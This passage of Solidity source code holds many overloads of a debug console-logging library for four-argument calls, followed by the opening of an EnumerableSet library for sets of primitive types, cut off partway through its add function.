_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
